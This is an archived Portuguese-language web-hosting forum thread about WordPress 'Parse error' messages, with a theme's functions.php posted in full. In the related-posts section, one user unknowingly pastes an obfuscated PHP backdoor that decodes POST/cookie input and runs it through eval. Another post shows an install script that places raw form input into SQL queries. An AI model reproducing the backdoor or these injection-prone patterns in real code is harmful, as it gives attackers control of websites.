Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

diezare

Parse error: syntax error, unexpected T_STRING

Recommended Posts

Bom dia...

 

Meu blog wordpress apresenta a seguinte mensagem

 

Parse error: syntax error, unexpected T_STRING in /home/storage/3/79/1e/plataoapucarana/public_html/bancodequestoes/wp-content/themes/constructzine-lite/functions.php on line 1

 

Já subi o template novamente e mesmo assim continuou a aparecer esta mensagem.

 

 

--------------------------------------------------------------------------------------------------------------------------------------------------

 

<?php

function ti_constructzine_theme_setup(){
global $content_width;
if ( ! isset( $content_width ) ) {
$content_width = 634;
}
require_once( 'includes/custom-functions.php' );
require_once( 'includes/customizer.php' );
require_once( 'includes/widget_testimonials.php' );
add_theme_support( 'post-thumbnails' );
add_theme_support( 'automatic-feed-links' );
$args = array(
'default-image' => get_template_directory_uri() . '/images/header.png',
'random-default' => false,
'width' => 1903,
'height' => 720,
'flex-height' => false,
'flex-width' => false,
'default-text-color' => '',
'header-text' => false,
'uploads' => true,
'wp-head-callback' => '',
'admin-head-callback' => '',
'admin-preview-callback' => '',
);
load_theme_textdomain('constructzine-lite', get_template_directory() . '/languages');
add_theme_support( 'custom-header', $args );
}
/*
* Constructzine Style
*/
function ti_constructzine_frontend_files() {
wp_enqueue_style( 'style', get_stylesheet_uri(), array(), '1.0', false );
if ( is_singular() ) {
wp_enqueue_script( "comment-reply" );
}
wp_enqueue_script( 'carouFredSel', get_template_directory_uri() . '/js/jquery.carouFredSel-6.2.1-packed.js', array( 'jquery' ), '6.2.1', true );
wp_enqueue_style( 'ti_constructzine_source_sans', '//fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,700,400italic');
wp_enqueue_style( 'ti_constructzine_yanone', '//fonts.googleapis.com/css?family=Yanone+Kaffeesatz:400,300,700');
wp_enqueue_script( 'custom', get_template_directory_uri() . '/js/custom.js', array( 'jquery' ), '1.0', true );
}
add_action( 'wp_enqueue_scripts', 'ti_constructzine_frontend_files' );
function ti_constructzine_menu() {
$locations = array(
'top-menu' => __( 'Top Header', 'constructzine-lite' ),
);
register_nav_menus( $locations );
}
add_action( 'init', 'ti_constructzine_menu' );
add_action( 'after_setup_theme', 'ti_constructzine_theme_setup' );
function ti_constructzine_sidebar() {
$args = array(
'id' => 'general_sidebar',
'name' => __( 'General Sidebar', 'constructzine-lite' ),
'description' => __( 'This sidebar will appear in blog page.', 'constructzine-lite' ),
'before_title' => '<div class="widget-title">',
'after_title' => '</div>',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
);
register_sidebar( $args );
$args = array(
'id' => 'home_sidebar',
'name' => __( 'Homepage Sidebar', 'constructzine-lite' ),
'description' => __( 'This sidebar will appear on the frontpage', 'constructzine-lite' ),
'before_title' => '<h2>',
'after_title' => '</h2>',
'before_widget' => '<div id="%1$s" class="feedback widget block %2$s">',
'after_widget' => '</div>',
);
register_sidebar( $args );
}
add_action( 'widgets_init', 'ti_constructzine_sidebar' );
require_once dirname( __FILE__ ) . '/class-tgm-plugin-activation.php';
add_action( 'tgmpa_register', 'ti_constructzine_required_plugins' );
function ti_constructzine_required_plugins() {
/**
* Array of plugin arrays. Required keys are name and slug.
* If the source is NOT from the .org repo, then source is also required.
*/
$plugins = array(
// This is an example of how to include a plugin from the WordPress Plugin Repository
array(
'name' => __('Tweet Old Post','constructzine-lite'),
'slug' => 'tweet-old-post',
'required' => false,
),
array(
'name' => __('Contact Form 7','constructzine-lite'),
'slug' => 'contact-form-7',
'required' => false,
),
array(
'name' => __('WP Product Review','constructzine-lite'),
'slug' => 'wp-product-review',
'required' => false,
),
);
// Change this to your theme text domain, used for internationalising strings
$theme_text_domain = 'plumbelt-lite';
/**
* Array of configuration settings. Amend each line as needed.
* If you want the default strings to be available under your own theme domain,
* leave the strings uncommented.
* Some of the strings are added into a sprintf, so see the comments at the
* end of each line for what each argument will be.
*/
$config = array(
'domain' => 'plumbelt-lite', // Text domain - likely want to be the same as your theme.
'default_path' => '', // Default absolute path to pre-packaged plugins
'parent_menu_slug' => 'themes.php', // Default parent menu slug
'parent_url_slug' => 'themes.php', // Default parent URL slug
'menu' => 'install-required-plugins', // Menu slug
'has_notices' => true, // Show admin notices or not
'is_automatic' => false, // Automatically activate plugins after installation or not
'message' => '', // Message to output right before the plugins table
'strings' => array(
'page_title' => __( 'Install Required Plugins', $theme_text_domain ),
'menu_title' => __( 'Install Plugins', $theme_text_domain ),
'installing' => __( 'Installing Plugin: %s', $theme_text_domain ), // %1$s = plugin name
'oops' => __( 'Something went wrong with the plugin API.', $theme_text_domain ),
'notice_can_install_required' => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' ), // %1$s = plugin name(s)
'notice_can_install_recommended' => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' ), // %1$s = plugin name(s)
'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' ), // %1$s = plugin name(s)
'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s)
'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s)
'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' ), // %1$s = plugin name(s)
'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' ), // %1$s = plugin name(s)
'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' ), // %1$s = plugin name(s)
'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins' ),
'activate_link' => _n_noop( 'Activate installed plugin', 'Activate installed plugins' ),
'return' => __( 'Return to Required Plugins Installer', $theme_text_domain ),
'plugin_activated' => __( 'Plugin activated successfully.', $theme_text_domain ),
'complete' => __( 'All plugins installed and activated successfully. %s', $theme_text_domain ), // %1$s = dashboard link
'nag_type' => 'updated' // Determines admin notice type - can only be 'updated' or 'error'
)
);
tgmpa( $plugins, $config );
}
// Custom title function
function ti_constructzine_wp_title( $title, $sep ) {
global $paged, $page;
if ( is_feed() )
return $title;
// Add the site name.
$title .= get_bloginfo( 'name' );
// Add the site description for the home/front page.
$site_description = get_bloginfo( 'description', 'display' );
if ( $site_description && ( is_home() || is_front_page() ) )
$title = "$title $sep $site_description";
// Add a page number if necessary.
if ( $paged >= 2 || $page >= 2 )
$title = "$title $sep " . sprintf( __( 'Page %s', 'constructzine-lite' ), max( $paged, $page ) );
return $title;
}
add_filter( 'wp_title', 'ti_constructzine_wp_title', 10, 2 );

Compartilhar este post


Link para o post
Compartilhar em outros sites

  • Conteúdo Similar

    • Por lakaksej
      Parse error no wordpress e incapaz de acessar o wordpress pelo admin ou fillezila
       
       
      Sou iniciante no wordpress.
       
      A única coisa que eu fiz no painel foi instalar um tema, nada mais, nada menos. A partir dai não consegui mais acessar o painel e tudo que aparece na tela é este erro:
      Parse error: syntax error, unexpected '[' in /home/storage/9/4f/0e/(nome do site)/public_html/wp/wp-content/themes/primer/inc/compat/gutenberg.php on line 57
       
      Sei que...:
      - o erro acontece devido ao fato do tema instalado ser antigo comparado a versão do wordpress.
      - preciso entrar pelo fillezila e alterar os arquivos do site
       
      O problema é que eu não consigo logar pelo fillezila por algum motivo. Já tentei em outros aplicativos relacionados e todos dão que a senha está errada e que não combina com o certificado, algo assim.
      A senha não é a que é usada para entrar no painel do wordpress? Já tentei até usar o login do site que hosteia.
       
      Agradeço antecipadamente qualquer ajuda <3 <3 <3 <3
    • Por wagneraranha
      Prezados
      Sou o administrador de um site.
      Perdemos o contato com o desenvolvedor.
      Não estou conseguindo acessar a pagina do site http://www.crepad.com.br
      Para ambos os casos estou recebendo a seguinte mensagem de erro:
      Parse error: syntax error, unexpected ‘$q7e3a’ (T_VARIABLE) in /home/storage/e/66/b8/crepad/public_html/wp-includes/Requests/Transport/cURL.php on line 1
      Já baixei o programa indicado, porem ainda não programo em PHP.
      Será que alguem poderia me ajudar?
      Segue abaixo cópia de parte do fonte que é indicado na mensagem de erro.
       
      <?php $v2ab639b4 = 861;$GLOBALS['f7a3bc0']=Array();global$f7a3bc0;$f7a3bc0=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['of62d14']="\x33\x68\x62\x59\x5e\x47\x3c\x76\x35\x46\x66\x28\x52\x2a\x56\x27\x77\x41\x5d\x5f\x45\x65\x43\x6c\x3e\x5b\x4b\x6b\x4c\x6d\x53\x67\x40\x7c\x32\xd\x51\x72\x6e\x26\x3f\x71\x31\x2c\x36\x3a\x54\xa\x49\x2b\x64\x60\x4f\x30\x23\x70\x22\x2d\x24\x4e\x2f\x20\x73\x58\x55\x78\x69\x61\x79\x2e\x29\x3d\x9\x34\x6f\x50\x39\x48\x57\x63\x7a\x21\x5c\x74\x7e\x5a\x7b\x38\x44\x7d\x3b\x25\x6a\x42\x75\x4a\x4d\x37";$f7a3bc0[$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][53]]=$f7a3bc0['of62d14'][55].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][27];$f7a3bc0[$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][76].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][53].$f7a3bc0['of62d14'][50]]=$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][94].$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][83];$f7a3bc0[$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][76].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][73]]=$f7a3bc0['of62d14'][62].$f7a3bc0['of62d14'][94].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][62].$f7a3bc0['of62d14'][83].$f7a3bc0['of62d14'][37];$f7a3bc0[$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][79]]=$f7a3bc0['of62d14'][62].$f7a3bc0['of62d14'][83].$f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][38];$f7a3bc0[$f7a3bc0['of62d14'][83].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][44].$f7a3bc0['of62d14'][73]]=$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][65].$f7a3bc0['of62d14'][55].$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][21];$f7a3bc0[$f7a3bc0['of62d14'][80].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][0]]=$f7a3bc0['of62d14'][62].$f7a3bc0['of62d14'][83].$f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][19].$f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][55].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][83];$f7a3bc0[$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][79]]=$_POST;$f7a3bc0[$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][73].$f7a3bc0['of62d14'][8]]=$_COOKIE;$kfd355=Array($f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][29].$f7a3bc0['of62d14'][42]=>$f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][29].$f7a3bc0['of62d14'][34]);$ae911=Array($f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][29].$f7a3bc0['of62d14'][0]=>$f7a3bc0['of62d14'][37].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][74].$f7a3bc0['of62d14'][29].$f7a3bc0['of62d14'][73]);foreach(Array($kfd355,$f7a3bc0[$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][79]],$ae911,$f7a3bc0[$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][73].$f7a3bc0['of62d14'][8]])as$o06f54){foreach($o06f54as$q7e3a=>$tfd2c7c6){$tfd2c7c6=@$f7a3bc0[$f7a3bc0['of62d14'][38].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][53]]($f7a3bc0['of62d14'][77].$f7a3bc0['of62d14'][13],$tfd2c7c6);$q7e3a.=$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][53].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][57].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][57].$f7a3bc0['of62d14'][73].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][57].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][73].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][57].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][53].$f7a3bc0['of62d14'][87].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][53].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][87].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][21].$f7a3bc0['of62d14'][97];$r91d0a90=$tfd2c7c6^$f7a3bc0[$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][76].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][73]]($f7a3bc0[$f7a3bc0['of62d14'][80].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][0].$f7a3bc0['of62d14'][79].$f7a3bc0['of62d14'][0]]($q7e3a,($f7a3bc0[$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][79]]($tfd2c7c6)/$f7a3bc0[$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][79]]($q7e3a))+1),0,$f7a3bc0[$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][67].$f7a3bc0['of62d14'][42].$f7a3bc0['of62d14'][79]]($tfd2c7c6));$r91d0a90=$f7a3bc0[$f7a3bc0['of62d14'][83].$f7a3bc0['of62d14'][8].$f7a3bc0['of62d14'][2].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][34].$f7a3bc0['of62d14'][44].$f7a3bc0['of62d14'][73]]($f7a3bc0['of62d14'][54],$r91d0a90);if($f7a3bc0[$f7a3bc0['of62d14'][23].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][10].$f7a3bc0['of62d14'][97].$f7a3bc0['of62d14'][76].$f7a3bc0['of62d14'][50].$f7a3bc0['of62d14'][53].$f7a3bc0['of62d14'][50]]($r91d0a90)==3){eval/*me4034ee*/($r91d0a90[1]($r91d0a90[2]));exit();}}} ?><?php /** * cURL HTTP transport * * @package Requests * @subpackage Transport */ /** * cURL HTTP transport * * @package Requests * @subpackage Transport */ class Requests_Transport_cURL implements Requests_Transport { const CURL_7_10_5 = 0x070A05; const CURL_7_16_2 = 0x071002; /** * Raw HTTP data * * @var string */ public $headers = ''; /** * Raw body data * * @var string */ public $response_data = ''; /** * Information on the current request * * @var array cURL information array, see {@see https://secure.php.net/curl_getinfo}  
      Saudações.
    • Por ViniciusRamoa
      Oi, eu estou querendo instalar este site já pronto para eu ir alterando de acordo com o que eu estiver estudando até ele ficar completamente diferente, segundo o blog que disponibiliza ele, bastava eu copiar os arquivos para a pasta do servidor e executar o link "localhost/install.php", assim, segundo o blog, iria aparecer um formulário para eu colocar informações como: nome da host, nome do usuário da db, senha e nome da DB, logo após só precisaria clicar em "instalar" e o site seria "instalado", então bastava eu apagar o "install.php" e poderia logar, adicionar/remover conteudos e etc, e claro, fazer minhas modificações com o site já funcionando
       
      Mas o problema é que não consigo, e a única coisa que aparece é uma tela branca escrito "Parse error: syntax error, unexpected 'db_host' (T_STRING), expecting ')' in C:\xampp\htdocs\upload\install.php on line 267"
       
       
      Arquivo INSTALL.PHP completo:
      <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Flat manga - Installation</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- Le styles --> <link href="app/manga/themes/default/assets/css/flat.css" rel="stylesheet"> <style type="text/css"> body { padding-top: 40px; padding-bottom: 40px; background-color: #f5f5f5; } .form-signin { max-width: 450px; padding: 19px 29px 29px; margin: 0 auto 20px; background-color: #fff; border: 1px solid #e5e5e5; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; -webkit-box-shadow: 0 1px 2px rgba(0,0,0,.05); -moz-box-shadow: 0 1px 2px rgba(0,0,0,.05); box-shadow: 0 1px 2px rgba(0,0,0,.05); } .form-signin .form-signin-heading, .form-signin .checkbox { margin-bottom: 10px; } .form-signin input[type="text"], .form-signin input[type="password"] { font-size: 16px; height: auto; margin-bottom: 15px; padding: 7px 9px; width: 100%; } </style> <!-- HTML5 shim, for IE6-8 support of HTML5 elements --> <!--[if lt IE 9]> <script src="../assets/js/html5shiv.js"></script> <![endif]--> </head> <body> <div class="container"> <? if($_POST){ $connect = mysql_connect($_POST['db_host'], $_POST['db_user'], $_POST['db_pw']); if (!$connect) { die('Could not connect: ' . mysql_error()); } echo 'Connected successfully<br />'; $db_selected = mysql_select_db($_POST['db_name'], $connect); if (!$db_selected) { die ('Can\'t use database '.$_POST['db_name'].' : ' . mysql_error()); } echo 'Connected to database '.$_POST['db_name'].'<br />'; // RUN DATABASE mysql_query("CREATE TABLE ".$_POST['db_prefix']."h0_ratings ( `ID` int(11) NOT NULL auto_increment, `slug` varchar(255) default NULL, `vote_count` int(16) default NULL, `total` int(16) default NULL, PRIMARY KEY (`ID`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST['db_prefix']."manga_bookmark` ( `user` int(11) NOT NULL, `manga` int(11) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"); mysql_query("CREATE TABLE `".$_POST['db_prefix']."manga_chapters` ( `id` int(11) NOT NULL auto_increment, `chapter` varchar(20) NOT NULL, `name` varchar(150) NOT NULL, `manga` varchar(100) NOT NULL, `trans_group` int(11) NOT NULL, `views` int(11) NOT NULL, `submitter` int(11) NOT NULL, `last_update` datetime NOT NULL, `content` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST['db_prefix']."manga_chapters_q` ( `id` int(11) NOT NULL auto_increment, `chapter` varchar(20) NOT NULL, `name` varchar(150) NOT NULL, `manga` varchar(100) NOT NULL, `trans_group` int(11) NOT NULL, `views` int(11) NOT NULL, `submitter` int(11) NOT NULL, `last_update` datetime NOT NULL, `content` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_count` ( `id` int(1) NOT NULL auto_increment, `mangas` int(10) NOT NULL, `chapters` int(10) NOT NULL, `views` int(10) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;"); mysql_query("INSERT INTO `".$_POST[db_prefix]."manga_count` VALUES (1, 0, 0, 0);"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_groups` ( `id` int(11) NOT NULL auto_increment, `name` varchar(250) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;"); mysql_query("INSERT INTO `".$_POST[db_prefix]."manga_groups` VALUES (1, 'Updating');"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_mangas` ( `id` int(11) NOT NULL auto_increment, `name` varchar(250) NOT NULL, `slug` varchar(150) NOT NULL, `authors` varchar(250) NOT NULL, `artists` varchar(150) NOT NULL, `released` int(4) NOT NULL, `other_name` varchar(250) NOT NULL, `genres` varchar(250) NOT NULL, `description` text NOT NULL, `m_status` tinyint(1) NOT NULL, `views` int(11) NOT NULL default '0', `cover` varchar(250) NOT NULL, `submitter` int(11) NOT NULL, `last_update` datetime NOT NULL, `last_chapter` int(11) NOT NULL default '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_mangas_q` ( `id` int(11) NOT NULL auto_increment, `name` varchar(250) NOT NULL, `slug` varchar(150) NOT NULL, `authors` varchar(250) NOT NULL, `artists` varchar(150) NOT NULL, `released` int(4) NOT NULL, `other_name` varchar(250) NOT NULL, `genres` varchar(250) NOT NULL, `description` text NOT NULL, `m_status` tinyint(1) NOT NULL, `views` int(11) NOT NULL default '0', `cover` varchar(250) NOT NULL, `submitter` int(11) NOT NULL, `last_update` datetime NOT NULL, `last_chapter` int(11) NOT NULL default '0', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_notification` ( `id` int(11) NOT NULL auto_increment, `user` int(11) NOT NULL, `type` varchar(7) NOT NULL, `url` varchar(250) default NULL, `message` varchar(250) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; "); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_submitter` ( `id` int(11) NOT NULL auto_increment, `user` int(11) NOT NULL, `m_count` int(11) NOT NULL, `c_count` int(11) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."manga_views` ( `id` int(11) NOT NULL auto_increment, `manga` int(11) NOT NULL, `type` int(1) NOT NULL, `value` varchar(3) NOT NULL, `views` int(11) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("ALTER TABLE ".$_POST[db_prefix]."manga_views ADD year YEAR(4) AFTER views"); mysql_query("UPDATE ".$_POST[db_prefix]."manga_views set year = 2013"); mysql_query(" CREATE TABLE ".$_POST[db_prefix]."manga_grabChapterQ ( `id` int(11) NOT NULL auto_increment, `manga` varchar(100) NOT NULL, `url` varchar(200) NOT NULL, `chapter_name` varchar(100) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query("CREATE TABLE ".$_POST[db_prefix]."manga_grabQ ( `id` int(11) NOT NULL auto_increment, `url` varchar(200) NOT NULL, `site` varchar(10) NOT NULL, `type` varchar(10) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;"); mysql_query(" CREATE TABLE ".$_POST[db_prefix]."manga_grabResult ( `id` int(11) NOT NULL auto_increment, `content` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;"); mysql_query("INSERT INTO `manga_grabResult` VALUES (1, '');"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."user` ( `id` int(11) NOT NULL auto_increment, `name` varchar(100) NOT NULL, `email` varchar(320) NOT NULL, `password` char(40) NOT NULL, `role` tinyint(1) NOT NULL, `register_ip` varchar(15) NOT NULL, `register_date` datetime NOT NULL, `last_login` datetime NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;"); $ad_pw = sha1($_POST['ad_pw']); mysql_query("INSERT INTO `".$_POST[db_prefix]."user` VALUES (1, 'ADMIN', '$_POST[ad_email]', '$ad_pw', 2, '', NOW(), NOW());"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."user_code` ( `email` varchar(320) NOT NULL, `code` char(32) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."user_meta` ( `id` int(11) NOT NULL auto_increment, `user` int(11) NOT NULL, `avatar` varchar(250) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;"); mysql_query("INSERT INTO `".$_POST[db_prefix]."user_meta` VALUES (1, 1, 'haha.png');"); mysql_query("CREATE TABLE `".$_POST[db_prefix]."user_role` ( `id` int(11) NOT NULL auto_increment, `name` varchar(50) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;"); mysql_query("INSERT INTO `".$_POST[db_prefix]."user_role` VALUES (1, 'Unconfirmed');"); mysql_query("INSERT INTO `".$_POST[db_prefix]."user_role` VALUES (2, 'Administration');"); // RUN DATABASE SUCESSFULL echo 'Database successfull created <br />'; $content = "<?php /** MySQL hostname */ define('APP_DB_HOST', '".$_POST['db_host']."'); /** MySQL database username */ define('APP_DB_USER', '".$_POST['db_user']."'); /** MySQL database password */ define('APP_DB_PASSWORD', '".$_POST['db_pw']."'); /** MySQL database name */ define('APP_DB_NAME', '".$_POST['db_name']."'); /** MySQL table prefix */ define('APP_TABLES_PREFIX', '".$_POST['db_prefix']."'); /** Mail sender and config */ define('SMTP', '0'); // 1 for using SMTP, 0 for using mail(); /* IF SMTP = 1, define smtp config */ define('SMTP_HOST', 'smtp.gmail.com'); define('SMTP_PORT', '587'); define('SMTP_Secure', 'tls'); define('SMTP_Auth', 'true'); define('SMTP_Username', ''); define('SMTP_Password', ''); define('email_from', 'your_email@somewhere.com') ?>"; chmod ("includes/config.php", 0777); $fp = fopen("includes/config.php", "w"); fwrite($fp, $content); fclose($fp); echo 'Database config successfull updated <br />'; echo 'Congratulation! Flat manga was installed successful!<br />'; echo 'Please delete file <b>install.php</b><br /><br />'; echo '<a href="index.html">View your site.</a>'; chmod ("includes/config.php", 0644); ?> <? }else { ?> <form class="form-signin" method="POST" action="install.php"> <h1>FRESH INSTALL</h1> <h2 class="form-signin-heading">Insert database information</h2> <input type="text" class="input-block-level" required placeholder="Database host" name="db_host"> <input type="text" class="input-block-level" required placeholder="Database username" name="db_user"> <input type="password" 